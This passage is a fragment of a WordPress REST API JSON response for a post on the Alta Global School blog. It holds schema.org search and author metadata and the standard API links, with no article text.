Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac","name":"Devi Lianovanda","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g","caption":"Devi Lianovanda"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/devi-lianovanda"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1645","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/43"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=1645"}],"version-history":[{"count":3,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1645\/revisions"}],"predecessor-version":[{"id":1903,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1645\/revisions\/1903"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/1645"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=1645"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=1645"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=1645"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}